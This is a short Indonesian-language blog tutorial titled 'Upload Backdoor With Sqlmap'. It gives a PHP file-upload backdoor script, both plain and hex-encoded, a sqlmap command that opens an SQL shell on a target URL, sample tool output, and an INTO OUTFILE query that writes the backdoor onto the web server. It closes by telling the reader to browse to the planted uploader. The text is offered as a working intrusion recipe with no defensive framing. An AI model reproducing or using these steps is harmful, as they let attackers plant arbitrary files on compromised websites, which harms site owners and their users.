Upload Backdoor With Sqlmap

Contoh Target : http://www.target.com/file.php?id=22

Copy This Script : 

<form enctype="multipart/form-data" action="upload.php" method="POST"><input name="uploadedfile" type="file"/><input type="submit" value="Upload File"/></form> <?php $target_path=basename($_FILES['uploadedfile']['name']);if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'],$target_path)){echo basename($_FILES['uploadedfile']['name'])." File Ka upload Bro...!!!";}else{echo "Gagal Bro Euy...!";}?>

Rubah String To Hex Visit Here

3c666f726d20656e63747970653d226d756c7469706172742f666f726d2d646174612220616374696f6e3d2275706c6f61642e70687022206d6574686f643d22504f5354223e3c696e707574206e616d653d2275706c6f6164656466696c652220747970653d2266696c65222f3e3c696e70757420747970653d227375626d6974222076616c75653d2255706c6f61642046696c65222f3e3c2f666f726d3e203c3f70687020247461726765745f706174683d626173656e616d6528245f46494c45535b2775706c6f6164656466696c65275d5b276e616d65275d293b6966286d6f76655f75706c6f616465645f66696c6528245f46494c45535b2775706c6f6164656466696c65275d5b27746d705f6e616d65275d2c247461726765745f7061746829297b6563686f20626173656e616d6528245f46494c45535b2775706c6f6164656466696c65275d5b276e616d65275d292e222046696c65204b612075706c6f61642042726f2e2e2e212121223b7d656c73657b6563686f2022476167616c2042726f204575792e2e2e21223b7d3f3e  
python sqlmap.py -u http://www.target.com/file.php?id=22 --sql-shell

[15:35:06] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.3.5, Apache 2.2.17
back-end DBMS: MySQL 5
[15:35:06] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell>

SELECT 0x'Hex' INTO OUTFILE "PATH/namaFile";

tunggu dan jika beruntung akan ada pemberitahuan berhasil di upload, klo apes ya coba lagi,  klo berhasil silahkan browse file kita tadi, http://www.target.com/upload.php

Share this post